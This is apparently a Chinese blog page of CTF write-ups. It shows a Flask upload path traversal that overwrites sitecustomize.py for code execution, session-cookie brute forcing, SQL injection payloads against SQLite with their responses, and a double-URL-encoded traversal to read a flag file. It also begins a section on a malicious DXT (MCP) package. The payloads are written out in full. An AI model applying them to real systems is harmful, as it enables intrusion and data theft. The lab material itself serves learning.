news 2026/6/24 2:10:00

简单代码审计

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
简单代码审计
file = request.files['file'] # 从请求参数或文件名获取保存路径 filename = request.form.get('filename') or file.filename # 路径穿越漏洞! save_path = os.path.join(UPLOAD_FOLDER, filename) # 创建目录 save_dir = os.path.dirname(save_path)
  1. filename可控(通过request.form.get('filename')
  2. os.path.join可能存在路径穿越

考虑覆盖sitecustomize.py

我们可以通过一段命令查看路径

import site import sys print("site:", site.getsitepackages())#存放第三方库的位置 print("sys.path:", sys.path)#加载模块的路径列表 #回显 #site: ['/usr/local/lib/python3.10/site-packages'] #sys.path: ['/app', '/usr/local/lib/python310.zip', '/usr/local/lib/python3.10', '/usr/local/lib/python3.10/lib-dynload', '/usr/local/lib/python3.10/site-packages']

或者ai说还有一个规则:

Linux 中,Python 的第三方包目录永远是这个格式

/usr/local/lib/pythonX.Y/site-packages/

X.Y=大版本号(只取前两位,3.10.19 → 3.10)

创建恶意sitecustomize.py并上传

import os print(open('/flag').read())
------geckoformboundary3c9412bd20120f86ad0e5f9e21ad00bb Content-Disposition: form-data; name="file"; filename="1.py" Content-Type: image/jpeg import os print(open('/flag').read()) ------geckoformboundary3c9412bd20120f86ad0e5f9e21ad00bb Content-Disposition: form-data; name="filename" ../../../../usr/local/lib/python3.10/site-packages/sitecustomize.py ------geckoformboundary3c9412bd20120f86ad0e5f9e21ad00bb-- #回显 #成功上传至: /app/uploads/../../../../usr/local/lib/python3.10/site-packages/sitecustomize.py

然后执行任意文件就拿到flag了

同样的,除了sitecustomize.py我们还可以用usercustomize.py

但是要注意路径不一样

import site print(site.getusersitepackages()) #回显 #/home/ctf/.local/lib/python3.10/site-packages

其余步骤与前者相同

Broken Trust

题目

某FlaskWeb应用提供了一个仅管理员可访问的备份读取接口。

神通广大的CTFer是否能发现逻辑缺陷,拿到敏感文件呢

注册拿uid登录,发现有特定的工具但是Only users with the admin role can access the backup interface.

发现cooki中有

session=eyJyb2xlIjoidXNlciIsInVpZCI6Ijk1OTY2YzI0YTI0MzQwMjU5NWQ2MDIxMjkwNTU4YTc5IiwidXNlcm5hbWUiOiJhYWEifQ.ac8pHA.beGJyhdag0KL8k_Z2lJHUS1iJD0

尝试爆破

flask-unsign --unsign --cookie "eyJyb2xlIjoidXNlciIsInVpZCI6Ijk1OTY2YzI0YTI0MzQwMjU5NWQ2MDIxMjkwNTU4YTc5IiwidXNlcm5hbWUiOiJhYWEifQ.ac8pHA.beGJyhdag0KL8k_Z2lJHUS1iJD0" --wordlist E:\字典\flask_secrets.txt

失败

源代码提取不到什么信息

抓包探索一下功能

发现Refresh Session Data功能会把uid POST给/api/profile,而我们知道profile一般和用户配置文件有关,并且返回内容是我们注册时的名称,可能有查询功能,考虑下sql?

尝试在UID参数中添加单引号:

{"uid":"95966c24a243402595d6021290558a79'"} 回显 {"details":"unrecognized token: \"'95966c24a243402595d6021290558a79''\"","error":"Database error"}

提到了database error数据库错误

测试回显:

{"uid":"95966c24a243402595d6021290558a79' union select 1,2,3 --"} 回显 {"role":3,"uid":1,"username":2}

尝试不同数据库的获取版本的语句

{"uid":"95966c24a243402595d6021290558a79' union select sqlite_version(),2,3-- -"} 回显 {"role":3,"uid":"3.34.1","username":2}

确定是sqlite

爆数据库内容

{"uid":"95966c24a243402595d6021290558a79' union select 1,2,(select group_concat(uid) from users)--"} 回显 {"role":"72adb8bc58dc4028bc694124095b111a,95966c24a243402595d6021290558a79","uid":1,"username":2}

我们的uid是95966...另一个应该就是admin了

拿uid去登录,admin专属工具是一个任意文件读取

/api/admin?action=backup&file=config.json

我们尝试路径遍历

....读不到flag,猜测有过滤

尝试双重url编码(双写../也可以)

../../../flag %252e%252e%252f%252e%252e%252f%252e%252e%252f%2566%256c%2561%2567

拿到flag

DXT

前置知识

什么是DXT文件?

DXT是一种用于打包和分发MCP(Model Context Protocol)服务的文件格式。

DXT文件结构

DXT文件本质上是一个ZIP压缩包,包含:

evil.dxt (ZIP文件) ├── manifest.json # 配置文件 └── dummy.txt # 占位文件
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/24 2:08:47

为什么现在所有大厂都在做 CLI ?(附Cluade Code接入飞书CLI教程)

最近飞书开源了自家官方 CLI 工具,简单来说,开源了一款飞书/Lark 开放平台命令行工具,它可以让人类和AI Agent 都能在终端中操作飞书。覆盖了消息、文档、多维表格、电子表格、日历、邮箱、任务、会议等核心业务域,提供200命令及1…

作者头像 李华
网站建设 2026/6/24 2:06:47

进程、线程、协程与Java虚拟线程

进程、线程、协程与Java虚拟线程 Java 开发者每天都在用线程池、CompletableFuture、Async,但底层到底是怎么回事?为什么 Java 21 的虚拟线程被称为「革命性」特性? 本文从 OS 层面一路讲回 JVM,用三层递进的方式串起进程、线程…

作者头像 李华
网站建设 2026/6/24 2:02:57

卵巢早衰备孕还有机会吗

卵巢早衰备孕还有机会吗?辅酶Q10的调理思路分享小雅今年32岁,例假一直不太规律,去年体检时AMH值只有0.8,医生说卵巢储备功能有下降趋势。拿到报告的那一刻,她哭了很久:"我才32岁,怎么就卵巢…

作者头像 李华
网站建设 2026/6/24 2:02:41

用 Typeoff 口述代码思路:从原始想法到结构化 Markdown

我用语音口述写完了上周所有的 PR 描述和 Bug 复盘——一份给开发者的 Typeoff 实战工作流利益相关声明: 本人 Typeoff 个人用户,使用约一个月。本文非官方稿件、无任何商业合作。Typeoff 功能描述以官方文档为准。文中提到的 Cursor、Claude Code、Wispr Flow 等均为公开可查的…

作者头像 李华
网站建设 2026/6/24 2:01:30

AVR单片机内部温度传感器校准指南:从原理到单点/两点校准实践

1. 项目概述:为什么AVR内部温度传感器需要校准? 如果你玩过AVR单片机,比如经典的ATmega328P(Arduino Uno的核心)或者ATtiny系列,你可能知道它们内部集成了一个温度传感器。这个功能听起来很酷,对…

作者头像 李华